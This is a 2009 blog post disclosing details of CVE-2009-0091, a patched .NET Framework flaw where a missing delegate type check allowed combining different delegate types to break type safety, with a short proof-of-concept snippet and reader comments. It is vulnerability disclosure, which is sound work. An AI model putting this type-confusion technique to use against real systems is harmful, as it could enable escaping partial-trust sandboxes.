# Tuesday, October 27, 2009
« IKVM 0.42 Release Candidate 2 | Main | New Development Snapshot »
MS09-061 Vulnerability Details

On "Patch Tuesday" two weeks ago Microsoft released security bulletin MS09-061. This bulletin describes three issues, one of which I reported to Microsoft on September 12, 2008. I will describe the details of what is now known as CVE-2009-0091. I have no inside knowledge of the other two vulnerabilities.

As mentioned in the original blog entry, I found the bug while browsing the Rotor sources. Here's the fragment that caught my eye:

    // This method will combine this delegate with the passed delegate
    // to form a new delegate.

    protected override sealed Delegate CombineImpl(Delegate follow)
        // Verify that the types are the same...
        // Actually, we don't need to do this, because Delegate.Combine already checks this.
//      if (!InternalEqualTypes(this, follow)
//          throw new ArgumentException(...)

This is from multicastdelegate.cs (Warning: this link leads to Microsoft Shared Source licensed code).

The code that is commented out is a security check. After seeing this I immediately confirmed (using ildasm) that the, at that time current, production version of mscorlib also didn't include the check. I also checked .NET 1.1 and in that version the check is present. I also checked a pre-release version of Silverlight 2.0 and it also didn't include the check. The subsequent Silverlight 2.0 release on October 14, 2008 included the fix. Microsoft did not find it necessary to credit me with the fix (not even privately).

Why Is This a Security Vulnerability?

In my example type safety exploit, I used a union to bypass type safety. That wasn't an actual security vulnerability because such a union requires full trust. However, if we can combine two different delegate types we can do the same and because of the missing type check this was possible.

If you take TypeSafetyExploitPoC.cs and replace the TypeSystemHole method with the following and add a reference to an assembly containing CombinePoCHelper.il (written in MSIL because that is the easiest way to write your own MulticastDelegate subclass that can call the protected CombineImpl method).

delegate void AnotherDelegate(Union1 u2);

static Union1 TypeSystemHole(Union2 u2)
  Union1 u1 = null;
  CombineHelper del1 = delegate { };
  AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
  del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
  return u1;


Tuesday, October 27, 2009 8:17:15 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [7]
Tuesday, November 3, 2009 4:54:11 AM (W. Europe Standard Time, UTC+01:00)
You are actually given credit by Microsoft:
from http://www.microsoft.com/technet/security/Bulletin/MS09-061.mspx


Microsoft thanks the following for working with us to help protect customers:

Pavel Minaev for reporting the Microsoft .NET Framework Pointer Verification Vulnerability (CVE-2009-0090)

Jeroen Frijters of Sumatra for reporting the Microsoft .NET Framework Type Verification Vulnerability (CVE-2009-0091)

Ramon Garcia
Tuesday, November 3, 2009 5:49:21 AM (W. Europe Standard Time, UTC+01:00)
Yes, obviously, but they never acknowledged that they also fixed the issue I reported in Silverlight 2.0.
Friday, March 19, 2010 4:38:00 PM (W. Europe Standard Time, UTC+01:00)

When running the poc I allways have the exception :
"Attempted to read or write protected memory. This is often an indication that other memory is corrupt."

Even if I put off the DEP.

Do you know how to solve this problem ?
Friday, March 19, 2010 4:52:49 PM (W. Europe Standard Time, UTC+01:00)
The PoC depends on implementation details of the CLR that probably have changed since I wrote the article. Modifying it to run on the current CLR is left as an excercise for the reader :-)
Monday, March 22, 2010 9:14:45 AM (W. Europe Standard Time, UTC+01:00)
Ok thanks I will try to resolve the problem myself ! ;)
Monday, March 22, 2010 8:21:04 PM (W. Europe Standard Time, UTC+01:00)
While I see these are vulnerabilities in .NET framework itself, is this a vulnerability also in IKVM? I am currently being tasked with reporting on any known security vulnerabilities with IKVM and someone flagged this.
Paul Kordes
Tuesday, March 23, 2010 6:05:49 AM (W. Europe Standard Time, UTC+01:00)
The .NET vulnerability has been patched and was unrelated to IKVM. I'm not aware of any security vulnerabilities in IKVM, but I'm certainly not recommending relying on IKVM's implementation of the Java security model, instead I recommend using the .NET sandboxing model (if at all possible, because there are challenges there too, in running IKVM in partial trust, but I'd be happy to work with you on that.)
Comments are closed.